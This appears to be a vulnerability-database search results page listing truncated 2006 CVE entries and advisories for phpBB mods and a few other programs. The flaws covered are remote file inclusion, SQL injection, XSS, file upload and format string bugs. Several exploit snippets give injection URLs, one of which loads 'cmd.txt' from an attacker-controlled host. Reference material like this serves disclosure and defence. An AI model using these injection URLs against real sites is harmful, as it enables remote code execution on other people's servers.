3145 matches found
CVE-2006-2735
PHP remote file inclusion vulnerability in language/langenglish/langactivity.php in Activity MOD Plus Amod 1.1.0, as used with phpBB when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter. NOTE: This is a similar vulnerabili...
Advisory: phpBB 2.x (Activity MOD Plus) File Inclusion Vulnerability.
--Security Report-- Advisory: phpBB 2.x Activity MOD Plus File Inclusion Vulnerability. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 27/05/06 07:49 PM --- Contacts: ICQ: 10072 MSN/Email: [email protected] Web: http://www.nukedx.com --- Vendor: phpBB-Amod...
Blend Portal <= 1.2.0 (phpBB Mod) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ===================================================================== Blend Portal ICQ: 10072 MSN/Mail: email protected web: www.nukedx.com This exploits works on Blend Portal http://victim/phpBB/blenddata/blendcommon.php?phpbbrootpath=FIL...
Activity MOD Plus <= 1.1.0 (phpBB Mod) File Inclusion Vulnerability
No description provided by source. phpBB 2.x Activity MOD Plus File Inclusion Vulnerability Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on phpBB 2.x Activity MOD Plus Original advisory can be found at: http://www.nukedx.com/?viewdoc=38 Succesful...
Blend Portal 1.2.0 - phpBB Mod Remote File Inclusion
Blend Portal 1.2.0 - phpBB Mod Remote File Inclusion Blend Portal ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on Blend Portal http://victim/phpBB/blenddata/blendcommon.php?phpbbrootpath=FILE EXAMPLE -...
Activity MOD Plus <= 1.1.0 (phpBB Mod) File Inclusion Vulnerability
Exploit for unknown platform in category web applications =================================================================== Activity MOD Plus http://victim/phpBB/language/langenglish/langactivity.php?phpbbrootpath=FILE EXAMPLE -...
Blend Portal 1.2.0 - 'phpBB Mod' Remote File Inclusion
Blend Portal ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on Blend Portal http://victim/phpBB/blenddata/blendcommon.php?phpbbrootpath=FILE EXAMPLE - http://victim/phpBB/blenddata/blendcommon.php?phpbbrootpath=http://yoursite.com/cmd.txt? nukedx.com 2006-05-28...
CVE-2006-2537
Multiple format string vulnerabilities in a OpenBOR 2.0046 and earlier, b Beats of Rage BOR 1.0029 and earlier, and c Horizontal Shooter BOR HOR 2.0000 and earlier allow remote attackers to execute code via format string specifiers in configurations used in various mod files, as demonstrated by t...
CVE-2006-2530
avatarupload.asp in Avatar MOD 1.3 for Snitz Forums 3.4, and possibly other versions, allows remote attackers to bypass file type checks and upload arbitrary files via a null byte in the file name, as discovered by the Codescan product...
CVE-2006-2537
Multiple format string vulnerabilities in a OpenBOR 2.0046 and earlier, b Beats of Rage BOR 1.0029 and earlier, and c Horizontal Shooter BOR HOR 2.0000 and earlier allow remote attackers to execute code via format string specifiers in configurations used in various mod files, as demonstrated by t...
CVE-2006-2537
CVE-2006-2537 affects OpenBOR 2.0046 and earlier, Beats of Rage (BOR) 1.0029 and earlier, and Horizontal Shooter BOR (HOR) 2.0000 and earlier. The issue is multiple format string vulnerabilities in configuration handling (data/scenes/intro.txt and data/easy/1aeasy.txt) that are not properly proce...
phpBB Mod [2.0.20] SQL Backup ( Remote File Inclusion )
/ ,, / / '-./.-' .--' '--. / / /"" SpiderZ ForumZ Security | | | | / / '..' = Autore: SpiderZ = phpBB Mod 2.0.20 SQL Backup Remote File Inclusion = Sito: http://www.spiderz.altervista.org = Sito2: https://www.spiderz.netsons.org Remote File Inclusion mod phpbb 2.0.20 http://www. Tuo sito Web /...
[Full-disclosure] CodeScan Advisory: Avatar MOD v1.3 for Snitz Forums v3.4 - Arbitrary File Upload
======================================================================== = CodeScan Advisory, codescan.com [email protected] = http://www.codescan.com/Advisories/CodeScanLabsAvatarMod.html = = Avatar MOD v1.3 for Snitz Forums v3.4 - Arbitrary File Upload = = Vendor Website: =...
CVE-2006-2359
Cross-site scripting XSS vulnerability in charts.php in the Chart mod for phpBB allows remote attackers to inject arbitrary web script or HTML via the id parameter. NOTE: this issue might be resultant from SQL injection...
Sql injection
SQL injection vulnerability in charts.php in the Chart mod for phpBB allows remote attackers to execute arbitrary SQL commands via the id parameter...
CVE-2006-2359
XSS vulnerability CVE-2006-2359 affects the phpBB Chart mod (charts.php) via the id parameter. The issue allows remote attackers to inject arbitrary script/HTML, with the note that it may stem from SQL injection. Base metrics indicate MEDIUM risk (CVSSv2: AV=N/AC=M/Au=N/C=N/I=P/A=N, base score 4....
phpBB Chart Mod 1.1 - charts.php?id SQL Injection
phpBB Chart Mod 1.1 - charts.php?id SQL Injection source: https://www.securityfocus.com/bid/17952/info Chart Mod is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application t...
phpBB Chart Mod 1.1 - 'charts.php?id' SQL Injection
source: https://www.securityfocus.com/bid/17952/info Chart Mod is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. A...
Remote file inclusion
PHP remote file inclusion vulnerability in auction\auctioncommon.php in Auction mod 1.3m for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...
CVE-2006-2245
PHP remote file inclusion vulnerability in auction\auctioncommon.php in Auction mod 1.3m for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...